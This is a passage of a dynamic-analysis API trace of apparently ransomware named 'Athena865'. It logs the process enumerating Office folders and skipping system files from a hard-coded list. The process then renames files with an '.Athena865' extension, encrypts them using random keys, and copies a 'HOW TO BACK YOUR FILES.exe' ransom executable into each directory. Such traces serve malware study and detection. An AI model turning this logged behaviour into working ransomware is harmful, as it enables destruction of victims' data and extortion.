lpString2="boot") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="ids.txt") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="ntuser.dat") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="perflogs") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="MSBuild") returned 1 [0135.997] lstrlenW (lpString="WING2.WMF") returned 9 [0135.997] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WING2.WMF" | out: lpString1="WING2.WMF") returned="WING2.WMF" [0135.997] lstrlenW (lpString="WING2.WMF") returned 9 [0135.998] lstrlenW (lpString="Athena865") returned 9 [0135.998] lstrlenW (lpString=".dll") returned 4 [0135.998] lstrcmpiW (lpString1="WING2.WMF", lpString2=".dll") returned 1 [0135.998] lstrlenW (lpString=".lnk") returned 4 [0135.998] lstrcmpiW (lpString1="WING2.WMF", lpString2=".lnk") returned 1 [0135.998] lstrlenW (lpString=".ini") returned 4 [0135.998] lstrcmpiW (lpString1="WING2.WMF", lpString2=".ini") returned 1 [0135.998] lstrlenW (lpString=".sys") returned 4 [0135.998] lstrcmpiW (lpString1="WING2.WMF", lpString2=".sys") returned 1 [0135.998] lstrlenW (lpString="WING2.WMF") returned 9 [0135.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.Athena865") returned 70 [0135.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.athena865"), dwFlags=0x1) returned 1 [0136.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0136.000] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2422) returned 1 [0136.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0136.000] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0136.001] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.001] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0136.001] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc80, lpName=0x0) returned 0x154 [0136.005] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc80) returned 0x100000 [0136.007] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0136.007] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.007] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0136.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.008] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.008] CloseHandle (hObject=0x154) returned 1 [0136.008] CloseHandle (hObject=0x17c) returned 1 [0136.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0136.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.009] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2=".") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="..") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="windows") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="bootmgr") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="temp") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="pagefile.sys") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="boot") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="ids.txt") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="ntuser.dat") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="perflogs") returned 1 [0136.009] lstrcmpiW (lpString1="WNTER_01.MID", lpString2="MSBuild") returned 1 [0136.009] lstrlenW (lpString="WNTER_01.MID") returned 12 [0136.009] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WNTER_01.MID" | out: lpString1="WNTER_01.MID") returned="WNTER_01.MID" [0136.009] lstrlenW (lpString="WNTER_01.MID") returned 12 [0136.010] lstrlenW (lpString="Athena865") returned 9 [0136.010] lstrcmpiW (lpString1="ER_01.MID", lpString2="Athena865") returned 1 [0136.010] lstrlenW (lpString=".dll") returned 4 [0136.010] lstrcmpiW (lpString1="WNTER_01.MID", lpString2=".dll") returned 1 [0136.010] lstrlenW (lpString=".lnk") returned 4 [0136.010] lstrcmpiW (lpString1="WNTER_01.MID", lpString2=".lnk") returned 1 [0136.010] lstrlenW (lpString=".ini") returned 4 [0136.010] lstrcmpiW (lpString1="WNTER_01.MID", lpString2=".ini") returned 1 [0136.010] lstrlenW (lpString=".sys") returned 4 [0136.010] lstrcmpiW (lpString1="WNTER_01.MID", lpString2=".sys") returned 1 [0136.010] lstrlenW (lpString="WNTER_01.MID") returned 12 [0136.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.Athena865") returned 73 [0136.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.athena865"), dwFlags=0x1) returned 1 [0136.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0136.012] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6915) returned 1 [0136.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0136.012] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0136.013] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.013] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0136.013] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e10, lpName=0x0) returned 0x154 [0136.015] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e10) returned 0x100000 [0136.016] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0136.017] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.017] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0136.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.017] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.018] CloseHandle (hObject=0x154) returned 1 [0136.018] CloseHandle (hObject=0x17c) returned 1 [0136.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0136.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.018] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 0 [0136.018] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0136.018] ReleaseMutex (hMutex=0xec) returned 1 [0136.018] CloseHandle (hObject=0xec) returned 1 [0136.018] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0136.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f000 | out: hHeap=0x4f0000) returned 1 [0136.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2d8 | out: hHeap=0x4f0000) returned 1 [0136.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned 51 [0136.018] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E3E76E73D68D57CCF7AB354125949262") returned 0xec [0136.019] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0136.019] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0136.019] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0136.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\how to back your files.exe"), bFailIfExists=1) returned 0 [0136.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0136.020] GetLastError () returned 0x0 [0136.020] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0136.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0136.020] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0136.021] CloseHandle (hObject=0xf4) returned 1 [0136.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0136.021] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0136.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce681920, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0136.021] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.021] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.021] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0136.022] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce681920, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.022] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.022] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.022] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0136.022] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0136.022] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2=".") returned 1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="..") returned 1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="windows") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="bootmgr") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="temp") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="pagefile.sys") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="boot") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="ids.txt") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="ntuser.dat") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="perflogs") returned -1 [0136.022] lstrcmpiW (lpString1="Backgrounds", lpString2="MSBuild") returned -1 [0136.022] lstrlenW (lpString="Backgrounds") returned 11 [0136.022] lstrcpyW (in: lpString1=0x241e8b0, lpString2="Backgrounds" | out: lpString1="Backgrounds") returned="Backgrounds" [0136.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2d8 [0136.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x54ec38 [0136.022] lstrcatW (in: lpString1="Backgrounds", lpString2="\\" | out: lpString1="Backgrounds\\") returned="Backgrounds\\" [0136.023] lstrcatW (in: lpString1="Backgrounds\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Backgrounds\\HOW TO BACK YOUR FILES.exe") returned="Backgrounds\\HOW TO BACK YOUR FILES.exe" [0136.023] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\how to back your files.exe"), bFailIfExists=1) returned 1 [0136.035] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce681920, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0136.035] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0136.035] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce681920, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0136.035] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0136.035] ReleaseMutex (hMutex=0xec) returned 1 [0136.035] CloseHandle (hObject=0xec) returned 1 [0136.035] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0136.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0136.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f730 | out: hHeap=0x4f0000) returned 1 [0136.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned 65 [0136.035] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1CB2E73AB24255ADDFDD7ADDC8EA6848") returned 0xec [0136.035] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0136.035] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0136.035] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0136.035] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\how to back your files.exe"), bFailIfExists=1) returned 0 [0136.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0136.036] GetLastError () returned 0x0 [0136.037] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0136.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0136.037] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0136.037] CloseHandle (hObject=0xf4) returned 1 [0136.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0136.038] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0136.038] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcefe0fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcefe0fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0136.039] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.039] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.039] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0136.039] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcefe0fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcefe0fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.039] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.039] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.039] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0136.039] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0136.039] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".") returned 1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="..") returned 1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="windows") returned -1 